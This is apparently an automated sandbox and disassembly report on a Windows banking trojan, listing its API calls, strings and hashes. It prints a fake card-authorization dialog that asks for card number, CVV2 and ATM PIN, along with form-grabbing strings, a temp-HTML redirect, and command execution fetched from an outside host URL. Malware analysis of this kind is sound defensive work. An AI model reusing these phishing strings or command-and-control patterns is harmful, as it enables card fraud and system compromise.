Associated: 00000002.00000002.1982081281.000000000042E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982109328.000000000042F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982129135.0000000000436000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982146402.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Ogjdllpi.jbxd

Yara matches

Similarity

API ID: strcat$rand$Filelstrlensprintf$CloseDeleteHandleProcessSleepThreadWindowmemset$CopyCountCreateCurrentDesktopEnvironmentExpandFindFreeIncrementInterlockedLocalOpenPathStringsTempTerminateTextTicksrandstrncmp
String ID: %s%u - Microsoft Internet Explorer$<HTML><!--$D$IEFrame$MicroSoft-Corp$Path$Software\Microsoft\IE Setup\Setup$X-okRecv11$\Iexplore.exe
API String ID: 4103625910-1993706416
Opcode ID: b9d5d98bcea3d6b4cff9c9a0aa81b3c666a447f1829ed1e8b0ebd8478639a6cb
Instruction ID: dc295d18008c6f961fbff17ccdc6ec9b88b81df80f56d8f6893aa762a7281c5f
Opcode Fuzzy Hash: b9d5d98bcea3d6b4cff9c9a0aa81b3c666a447f1829ed1e8b0ebd8478639a6cb
Instruction Fuzzy Hash: 7B81A8B1E041186ADB20B665CC4ABDEB7BD9F40304F1444F7B608F61D1E6B99F848F59

Function 00406753 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,?,00000000,?,00000080,00000000), ref: 0040677F
GetFileSize.KERNEL32(00000000,00000000,?,80000000,?,00000000,?,00000080,00000000), ref: 0040679E
CloseHandle.KERNEL32(00000000,00000000,00000000,?,80000000,?,00000000,?,00000080,00000000), ref: 004067A6

Part of subcall function 004013CC: RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 004013EF

Part of subcall function 004054D7: lstrlenA.KERNEL32(?), ref: 004054F1
Part of subcall function 004054D7: lstrlenA.KERNEL32(?,?), ref: 00405505
Part of subcall function 004054D7: lstrlenA.KERNEL32(?,?,?), ref: 00405513
Part of subcall function 004054D7: lstrlenA.KERNEL32(?,?,?,?), ref: 0040551F
Part of subcall function 004054D7: LocalAlloc.KERNEL32(00000000,?,?,?,?,?), ref: 0040554B
Part of subcall function 004054D7: memcpy.CRTDLL(00000001,?,?,00000000,?,?,?,?,?), ref: 0040556A
Part of subcall function 004054D7: CreateThread.KERNEL32(00000000,00000000,Function_00005133,00000000,00000000,?), ref: 004055DE
Part of subcall function 004054D7: WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006,?,-00000005,?), ref: 004055EE
Part of subcall function 004054D7: GetExitCodeThread.KERNEL32(00000000,?,00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006,?), ref: 004055F8

Part of subcall function 00401348: RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,000F003F,00000000,?,?), ref: 00401375

Strings

Software\Microsoft, xrefs: 004067C5, 0040680B

Memory Dump Source

Source File: 00000002.00000002.1981974586.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1981915377.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982081281.000000000042E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982109328.000000000042F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982129135.0000000000436000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982146402.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Ogjdllpi.jbxd

Yara matches

Similarity

API ID: lstrlen$Create$FileThread$AllocCloseCodeExitHandleLocalObjectOpenSingleSizeWaitmemcpy
String ID: Software\Microsoft
API String ID: 3232930010-89712428
Opcode ID: fe47db177618890fec732a06e734d603300a7356096fbf0c01363e8c7022514f
Instruction ID: db3b40ff5e41acc5bdae17a6e42d24a18e18c948de20eb22515eb7809feee29e
Opcode Fuzzy Hash: fe47db177618890fec732a06e734d603300a7356096fbf0c01363e8c7022514f
Instruction Fuzzy Hash: C3219972E002097BEB10AE998D42FDEBAA8DB04714F644077FB00B61E1E6B55A108B99

Function 00406075 Relevance: 124.7, APIs: 52, Strings: 19, Instructions: 488
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405FFA: GetWindow.USER32(?,00000005), ref: 00406019

Part of subcall function 00405FFA: GetClassNameA.USER32(00000000,?,00000FFF), ref: 0040603B

ShowWindow.USER32(00000000), ref: 004060B9
GetWindowRect.USER32(00000000,?), ref: 004060C9
CreateWindowExA.USER32(00000200,QueenKarton,0042CBF0,50800000,00000000,00000000,?,?,00000000,00000000,00000000,00000000), ref: 004060FF
CreateWindowExA.USER32(00000000,STATIC, Authorization Failed.,50800000,00000014,00000014,?,0000003C,00000000,00000000,00000000,00000200), ref: 00406135
CreateWindowExA.USER32(00000000,STATIC,0042CBF0,50800009,00000014,00000051,?,0000012C,00000000,00000000,00000000,STATIC), ref: 00406179
CreateFontA.GDI32(00000014,00000008,00000000,00000000,000002BC,00000000,00000000,00000000,00000001,00000005,00000000,00000000,00000002,00000000), ref: 004061A2
SendMessageA.USER32(00000030,00000000,00000001,00000000), ref: 004061B4
CreateWindowExA.USER32(00000000,COMBOBOX,0042CBF0,50800003,00000014,00000014,00000064,00000064,00000000,00000000,STATIC,0042CBF0), ref: 004061E2
SendMessageA.USER32(00000000,00000143,00000000,MasterCard), ref: 004061FF
SendMessageA.USER32(00000143,00000000,Visa,00000000), ref: 00406216
SendMessageA.USER32(0000014E,00000001,00000000,00000143), ref: 00406233
SendMessageA.USER32(0000014E,00000000,00000000,00000143), ref: 00406249
CreateWindowExA.USER32(00000000,COMBOBOX,0042CBF0,50800003,0000007A,00000014,00000032,0000012C,00000000,00000000,0000014E,00000000), ref: 0040627A
CreateWindowExA.USER32(00000000,COMBOBOX,0042CBF0,50800003,000000AE,00000014,0000003C,0000012C,00000000,00000000,00000000,COMBOBOX), ref: 004062B9
sprintf.CRTDLL(?,%.2u,00000001,00000000,COMBOBOX,0042CBF0,50800003,000000AE,00000014,0000003C,0000012C,00000000,00000000,00000000,COMBOBOX,0042CBF0), ref: 004062DF
SendMessageA.USER32(00000143,00000000,?,?), ref: 004062F5
sprintf.CRTDLL(?,20%.2u,-00000002,00000143,00000000,?,?,%.2u,00000001,00000000,COMBOBOX,0042CBF0,50800003,000000AE,00000014,0000003C), ref: 0040630B
SendMessageA.USER32(00000143,00000000,?,?), ref: 00406324
CreateWindowExA.USER32(00000000,STATIC,Card && expiration date,50000000,00000114,0000006E,00000081,00000010,00000000,00000000,00000143,00000000), ref: 0040636B
CreateWindowExA.USER32(00000000,STATIC,Your card number,50000000,000000C3,00000087,00000067,00000010,00000000,00000000,00000000,STATIC), ref: 004063AA
CreateWindowExA.USER32(00000000,STATIC,3-digit validation code on back of card (cvv2),50000000,00000064,000000A0,000000FD,00000010,00000000,00000000,00000000,STATIC), ref: 004063E3
CreateWindowExA.USER32(00000000,STATIC,ATM PIN-Code,50000000,000000A0,000000B9,00000056,00000010,00000000,00000000,00000000,STATIC), ref: 0040641C
CreateWindowExA.USER32(00000000,STATIC,Unable to authorize. ATM PIN-Code is required to complete the transaction.,50000000,0000001E,000000E6,000001E4,00000010,00000000,00000000,00000000,STATIC), ref: 00406455
CreateWindowExA.USER32(00000000,STATIC,Please make corrections and try again.,50000000,0000001E,000000FF,000000FD,00000010,00000000,00000000,00000000,STATIC), ref: 0040648E
CreateWindowExA.USER32(00000200,EDIT,00429180,50800000,00000014,0000002D,00000082,00000018,00000000,00000000,00000000,STATIC), ref: 004064C7
CreateWindowExA.USER32(00000200,EDIT,0042CBF0,50800000,00000014,00000046,00000028,00000018,00000000,00000000,00000200,EDIT), ref: 00406503
CreateWindowExA.USER32(00000200,EDIT,0042CBF0,50800000,00000014,0000005F,00000064,00000018,00000000,00000000,00000200,EDIT), ref: 00406539
CreateWindowExA.USER32(00000000,BUTTON,Click Once To Continue,50800000,0000001E,00000140,0000009B,00000017,00000000,00000000,00000200,EDIT), ref: 00406572
CreateFontA.GDI32(00000010,00000006,00000000,00000000,00000190,00000000,00000000,00000000,00000001,00000005,00000000,00000000,00000002,00000000), ref: 0040659B
SendMessageA.USER32(00000030,00000000,00000001,00000010), ref: 004065B3
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 004065C3
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 004065D3
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 004065E3
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 004065F9
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406609
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406619
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406632
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406642
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406652
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406662
GetWindowLongA.USER32(000000FC,00000030), ref: 0040666F
SetWindowLongA.USER32(000000FC,004077E4,00000000), ref: 00406686
GetWindowLongA.USER32(000000FC,00000001), ref: 00406699
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 004066B0
GetWindowLongA.USER32(000000FC,000000FC), ref: 004066BD
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 004066D4
GetWindowLongA.USER32(000000FC,000000FC), ref: 004066E1
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 004066F8
GetWindowLongA.USER32(000000FC,000000FC), ref: 00406705
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 0040671C
GetWindowLongA.USER32(000000FC,000000FC), ref: 00406732
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 00406749

Strings

COMBOBOX, xrefs: 004061DB, 00406273, 004062B2
Click Once To Continue, xrefs: 00406566
3-digit validation code on back of card (cvv2), xrefs: 004063D7
MasterCard, xrefs: 004061F2
Unable to authorize. ATM PIN-Code is required to complete the transaction., xrefs: 00406449
Card && expiration date, xrefs: 0040635F
BUTTON, xrefs: 0040656B
STATIC, xrefs: 0040612E, 00406172, 00406364, 004063A3, 004063DC, 00406415, 0040644E, 00406487
EDIT, xrefs: 004064BD, 004064F9, 0040652F
Authorization Failed., xrefs: 00406129
Your card number, xrefs: 0040639E
DocObject, xrefs: 00406089
Visa, xrefs: 00406204
QueenKarton, xrefs: 004060F5
20%.2u, xrefs: 00406302
%.2u, xrefs: 004062D6
Please make corrections and try again., xrefs: 00406482
Explorer, xrefs: 00406098
ATM PIN-Code, xrefs: 00406410

Memory Dump Source

Source File: 00000002.00000002.1981974586.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1981915377.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982081281.000000000042E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982109328.000000000042F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982129135.0000000000436000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982146402.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Ogjdllpi.jbxd

Yara matches

Similarity

API ID: Window$CreateMessageSend$Long$Fontsprintf$ClassNameRectShow
String ID: Authorization Failed.$%.2u$20%.2u$3-digit validation code on back of card (cvv2)$ATM PIN-Code$BUTTON$COMBOBOX$Card && expiration date$Click Once To Continue$DocObject$EDIT$Explorer$MasterCard$Please make corrections and try again.$QueenKarton$STATIC$Unable to authorize. ATM PIN-Code is required to complete the transaction.$Visa$Your card number
API String ID: 1504929638-2953596215
Opcode ID: 2b110ff0b09441361ee02be2c61f902c508efa27e53455d3dea65c4eb733ddb1
Instruction ID: 07d4a47d2009414dc6278682baa0b56b1decc7bc7d2f3e077783c243e1dcc7f7
Opcode Fuzzy Hash: 2b110ff0b09441361ee02be2c61f902c508efa27e53455d3dea65c4eb733ddb1
Instruction Fuzzy Hash: 43F16F31BC43157AFA212B61ED43FA93A66AF14F44F60413AB700BD0F1DAF92911AB5D

Function 0040570C Relevance: 122.9, APIs: 56, Strings: 14, Instructions: 371
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathA.KERNEL32(00000104,?), ref: 00405730
strcat.CRTDLL(?,.htm), ref: 00405764
sprintf.CRTDLL(?,<html>), ref: 00405778
rand.CRTDLL ref: 00405786
strcat.CRTDLL(?,0042CC6C), ref: 004057A4
rand.CRTDLL ref: 004057AC
rand.CRTDLL ref: 004057BE
sprintf.CRTDLL(?,%s,?), ref: 004057DF
rand.CRTDLL ref: 004057E7
strcat.CRTDLL(?,0042CC6C), ref: 00405805
strcat.CRTDLL(?,<head>), ref: 00405819
rand.CRTDLL ref: 00405827
strcat.CRTDLL(?,0042CC6C), ref: 00405845
rand.CRTDLL ref: 0040584D
rand.CRTDLL ref: 0040585F
sprintf.CRTDLL(?,%s,?), ref: 00405880
sprintf.CRTDLL(?,%s<title>%s%u</title>,?,MicroSoft-Corp,?), ref: 004058A3
rand.CRTDLL ref: 004058B1
strcat.CRTDLL(?,0042CC6C), ref: 004058CF
strcat.CRTDLL(?,</head>), ref: 004058E3
rand.CRTDLL ref: 004058EB
strcat.CRTDLL(?,0042CC6C), ref: 00405909
strcat.CRTDLL(?,<body>), ref: 0040591D
rand.CRTDLL ref: 0040592B
rand.CRTDLL ref: 0040593D
sprintf.CRTDLL(?,%s,?), ref: 0040595E
strcat.CRTDLL(?,<script>), ref: 00405972
rand.CRTDLL ref: 0040597A
strcat.CRTDLL(?,0042CC6C), ref: 00405998
strcat.CRTDLL(?,function x()), ref: 004059AC
rand.CRTDLL ref: 004059C0
strcat.CRTDLL(?,0042CC6C), ref: 004059DE
strcat.CRTDLL(?,0042CA2E), ref: 004059F2
rand.CRTDLL ref: 004059FA
strcat.CRTDLL(?,0042CC6C), ref: 00405A18
sprintf.CRTDLL(?,%sself.parent.location="%s";,?,?), ref: 00405A42
rand.CRTDLL ref: 00405A4A
strcat.CRTDLL(?,0042CC6C), ref: 00405A68
strcat.CRTDLL(?,0042CA14), ref: 00405A7C
rand.CRTDLL ref: 00405A8A
strcat.CRTDLL(?,0042CC6C), ref: 00405AA8
rand.CRTDLL ref: 00405AB0
sprintf.CRTDLL(?,%ssetTimeout("x()",%u);,?), ref: 00405AD9
rand.CRTDLL ref: 00405AE1
strcat.CRTDLL(?,0042CC6C), ref: 00405AFF
strcat.CRTDLL(?,</script>), ref: 00405B13
rand.CRTDLL ref: 00405B27
strcat.CRTDLL(?,0042CC6C), ref: 00405B45
rand.CRTDLL ref: 00405B4D
rand.CRTDLL ref: 00405B5F
sprintf.CRTDLL(?,%s,?), ref: 00405B80
strcat.CRTDLL(?,</body><html>), ref: 00405B94
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00405BAC
lstrlenA.KERNEL32(?,?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00405BCD
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00405BE9
CloseHandle.KERNEL32(?,?,?,00000000,?,00000000,?,?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00405BF4

Strings

<script>, xrefs: 00405966
.htm, xrefs: 0040575E
%s, xrefs: 004057D3, 00405874, 00405952, 00405B74
%ssetTimeout("x()",%u);, xrefs: 00405ACD
</body><html>, xrefs: 00405B88
%s<title>%s%u</title>, xrefs: 00405897
<head>, xrefs: 0040580D
</script>, xrefs: 00405B07
<html>, xrefs: 0040576C
function x(), xrefs: 004059A0
<body>, xrefs: 00405911
%sself.parent.location="%s";, xrefs: 00405A36
MicroSoft-Corp, xrefs: 0040588B
</head>, xrefs: 004058D7

Memory Dump Source

Source File: 00000002.00000002.1981974586.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1981915377.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982081281.000000000042E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982109328.000000000042F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982129135.0000000000436000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982146402.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Ogjdllpi.jbxd

Yara matches

Similarity

API ID: strcat$rand$sprintf$File$CloseCreateHandlePathTempWritelstrlen
String ID: %s$%s<title>%s%u</title>$%sself.parent.location="%s";$%ssetTimeout("x()",%u);$.htm$</body><html>$</head>$</script>$<body>$<head>$<html>$<script>$MicroSoft-Corp$function x()
API String ID: 4291226702-3565490566
Opcode ID: 08e8a8e08d7a39e8062486bb6ab2fd16be076c2ff6bcf67ed59b44270b333af9
Instruction ID: 1c5cdfde58a584b0b9fe07ae47c92bc765a9e47636cc13cf9b12a0be20bdf5ec
Opcode Fuzzy Hash: 08e8a8e08d7a39e8062486bb6ab2fd16be076c2ff6bcf67ed59b44270b333af9
Instruction Fuzzy Hash: 93B1CAB6F0132416EB14A262DCC6B6D31AA9B85704F6404FFF508731C2E67C6E558AFE

Function 004068B0 Relevance: 61.5, APIs: 22, Strings: 13, Instructions: 221
stringprocessfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405F5B: lstrlenA.KERNEL32(?), ref: 00405F73
Part of subcall function 00405F5B: lstrlenA.KERNEL32(?,?), ref: 00405F7E
Part of subcall function 00405F5B: LocalAlloc.KERNEL32(00000040,?,?,?), ref: 00405F8D
Part of subcall function 00405F5B: lstrlenA.KERNEL32(?,00000000,?,00000040,?,?,?), ref: 00405FA2
Part of subcall function 00405F5B: DeleteUrlCacheEntry.WININET(?), ref: 00405FB5
Part of subcall function 00405F5B: CreateThread.KERNEL32(00000000,00000000,Function_00005C09,00000000,00000000,?), ref: 00405FCA
Part of subcall function 00405F5B: WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?,00000040,?,?), ref: 00405FDD
Part of subcall function 00405F5B: GetExitCodeThread.KERNEL32(00000000,?,00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?,00000040), ref: 00405FE7
Part of subcall function 00405F5B: CloseHandle.KERNEL32(00000000,00000000,?,00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?), ref: 00405FED

sscanf.CRTDLL(0000003A,:%02u,?), ref: 0040695B
rand.CRTDLL ref: 00406972
sprintf.CRTDLL(?,%s\cmd.pif,00429080), ref: 004069B5
sprintf.CRTDLL(?,%s\cmd.exe,00429080,?,%s\cmd.pif,00429080), ref: 004069D1
GetWindowsDirectoryA.KERNEL32(?,00000400), ref: 004069E7
sprintf.CRTDLL(?,%s\command.pif,?,?,00000400), ref: 00406A0E
strcat.CRTDLL(?,\command.com,?,%s\command.pif,?,?,00000400), ref: 00406A1F
DeleteFileA.KERNEL32(?,?,?,?,?,00000400), ref: 00406A2E
sprintf.CRTDLL(?,%s /C %s,?,00000036,?,?,?,?,?,00000400), ref: 00406A50
WinExec.KERNEL32(?,00000000), ref: 00406A61
atoi.CRTDLL(00000035), ref: 00406A8E
sprintf.CRTDLL(?,%s\Rtdx1%i.dat,00429080,0000000C), ref: 00406AC4
lstrlenA.KERNEL32(?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406AE4
sprintf.CRTDLL(0000002F,%s/Rtdx1%i.htm,0000002F,0000000C,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406B45
lstrlenA.KERNEL32(?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406B54
lstrlenA.KERNEL32(0000002F,?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406B66
LocalAlloc.KERNEL32(00000040,?,0000002F,?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406B78
lstrlenA.KERNEL32(?,?,?,00000040,?,0000002F,?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406BA2
CreateThread.KERNEL32(00000000,00000000,Function_0000686C,?,00000000,0000000C), ref: 00406BD6
CloseHandle.KERNEL32(00000000,00000000,00000000,Function_0000686C,?,00000000,0000000C,?,0000002F,?,?,?,00000040,?,0000002F,?), ref: 00406BDC
LocalFree.KERNEL32(?,?,0000002F,?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406C07
_sleep.CRTDLL(001B7740), ref: 00406C17

Strings

%s\command.pif, xrefs: 00406A02
%s\cmd.pif, xrefs: 004069A9
\command.com, xrefs: 00406A13
:, xrefs: 00406934
%s/Rtdx1%i.htm, xrefs: 00406B39
%s\Rtdx1%i.dat, xrefs: 00406AB8
%s\cmd.exe, xrefs: 004069C5
:%02u, xrefs: 0040694F
%s /C %s, xrefs: 00406A44
wupd , xrefs: 00406A68
/, xrefs: 00406AF7
http://tat-neftbank.ru/wcmd.htm, xrefs: 004068CC, 00406ACC
:, xrefs: 00406927

Memory Dump Source

Source File: 00000002.00000002.1981974586.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1981915377.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982081281.000000000042E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982109328.000000000042F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982129135.0000000000436000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982146402.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Ogjdllpi.jbxd

Yara matches

Similarity

API ID: lstrlen$sprintf$LocalThread$AllocCloseCreateDeleteHandle$CacheCodeDirectoryEntryExecExitFileFreeObjectSingleWaitWindows_sleepatoirandsscanfstrcat
String ID: %s /C %s$%s/Rtdx1%i.htm$%s\Rtdx1%i.dat$%s\cmd.exe$%s\cmd.pif$%s\command.pif$/$:$:$:%02u$\command.com$http://tat-neftbank.ru/wcmd.htm$wupd
API String ID: 4275340860-3363018154
Opcode ID: db39d86638ff862d2fb6c91229f091ab8a43fd21800a492105b3074faeac2b45
Instruction ID: 18f08bfc30c9890c11dd244c38850a50baba5aa484248b9ca7ce56826a71177a
Opcode Fuzzy Hash: db39d86638ff862d2fb6c91229f091ab8a43fd21800a492105b3074faeac2b45
Instruction Fuzzy Hash: 328163B1E08228ABDB21A6658D46BD977BCDB04304F5105F7E60CB21C1E67C7F948F99

Function 004052E0 Relevance: 31.6, APIs: 13, Strings: 5, Instructions: 115sleepstringprocessCOMMON

Download Yara Rule

APIs

strcat.CRTDLL(?,\Iexplore.exe ,?,?,?,?,?,?,?,00000104,?,?,?,?,?,?), ref: 004052F8
strcat.CRTDLL(?,?,?,\Iexplore.exe ,?,?,?,?,?,?,?,00000104,?,?,?,?), ref: 0040530B

Part of subcall function 0040431F: GetCurrentThreadId.KERNEL32 ref: 00404341
Part of subcall function 0040431F: GetThreadDesktop.USER32(00000000), ref: 00404347

memset.CRTDLL(?,00000000,00000044,?,?,?,\Iexplore.exe ,?,?,?,?,?,?,?,00000104,?), ref: 0040532C
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040539F
CloseHandle.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004053B2
sprintf.CRTDLL(?,%s%u - Microsoft Internet Explorer,MicroSoft-Corp,?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004053D4
Sleep.KERNEL32(00007800,00000000,00000000,00000044,?), ref: 00405426
Sleep.KERNEL32(0000F000,00007800,00000000,00000000,00000044,?), ref: 00405439
GetWindowTextA.USER32(00000000,?,00000104), ref: 00405451
DeleteFileA.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405499
LocalFree.KERNEL32(?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004054A5
TerminateProcess.KERNEL32(?,00000000,?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004054B2
CloseHandle.KERNEL32(?,?,00000000,?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004054BD

Strings

\Iexplore.exe , xrefs: 004052EC
D, xrefs: 00405334
MicroSoft-Corp, xrefs: 004053C3
%s%u - Microsoft Internet Explorer, xrefs: 004053C8
X-okRecv11, xrefs: 00405458

Memory Dump Source

Source File: 00000002.00000002.1981974586.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1981915377.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982081281.000000000042E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982109328.000000000042F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982129135.0000000000436000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982146402.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Ogjdllpi.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessSleepThreadstrcat$CreateCurrentDeleteDesktopFileFreeLocalTerminateTextWindowmemsetsprintf
String ID: %s%u - Microsoft Internet Explorer$D$MicroSoft-Corp$X-okRecv11$\Iexplore.exe
API String ID: 1202517094-2261298365
Opcode ID: e98e409644201e6de021147ee2f0c1805f35588af9548cc9b8076052c01221a7
Instruction ID: a5954b523feb805065d44168e487e19d6cbd8b1c6e851fe6a795fce517e83f05
Opcode Fuzzy Hash: e98e409644201e6de021147ee2f0c1805f35588af9548cc9b8076052c01221a7
Instruction Fuzzy Hash: 4F416572E442186ADB20AA65CC46BDDB3B99F50305F1444F7E208F61D1DABCAEC48F59

Function 00401B9F Relevance: 26.7, APIs: 11, Strings: 4, Instructions: 487memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(value), ref: 00401BCC

Part of subcall function 004017AC: CoInitialize.OLE32(00000000), ref: 004017CC
Part of subcall function 004017AC: CLSIDFromString.OLE32({9BA05972-F6A8-11CF-A442-00A0C90A8F39},?), ref: 004017DA
Part of subcall function 004017AC: CoCreateInstance.OLE32(?,00000000,?,0042CD50,?,{9BA05972-F6A8-11CF-A442-00A0C90A8F39},?), ref: 00401803

_sleep.CRTDLL(00000000), ref: 00401BFD
GetForegroundWindow.USER32(00000000), ref: 00401C02

Part of subcall function 0040185F: GetWindowTextA.USER32(?,?,?), ref: 004018E2

memcpy.CRTDLL(00418F40,?,?), ref: 00401D6D
memcpy.CRTDLL(?,00418F40,?), ref: 00401F34
_sleep.CRTDLL(00000000), ref: 00401F4A
sprintf.CRTDLL(?,%s FORM_%X,?,?,00000000), ref: 00401F77

Strings

%s FORM_%X, xrefs: 00401F6B
%s%c, xrefs: 004021EB
value, xrefs: 00401BC7
%s %X%c, xrefs: 0040218F

Memory Dump Source

Source File: 00000002.00000002.1981974586.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1981915377.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982081281.000000000042E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982109328.000000000042F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982129135.0000000000436000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982146402.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Ogjdllpi.jbxd

Yara matches

Similarity

API ID: StringWindow_sleepmemcpy$AllocCreateForegroundFromInitializeInstanceTextsprintf
String ID: %s %X%c$%s FORM_%X$%s%c$value
API String ID: 3510745994-3693252589
Opcode ID: 97066158e7caddc246d118ad30601bc5e86c518a965b60cc81196b9f5f35fe85
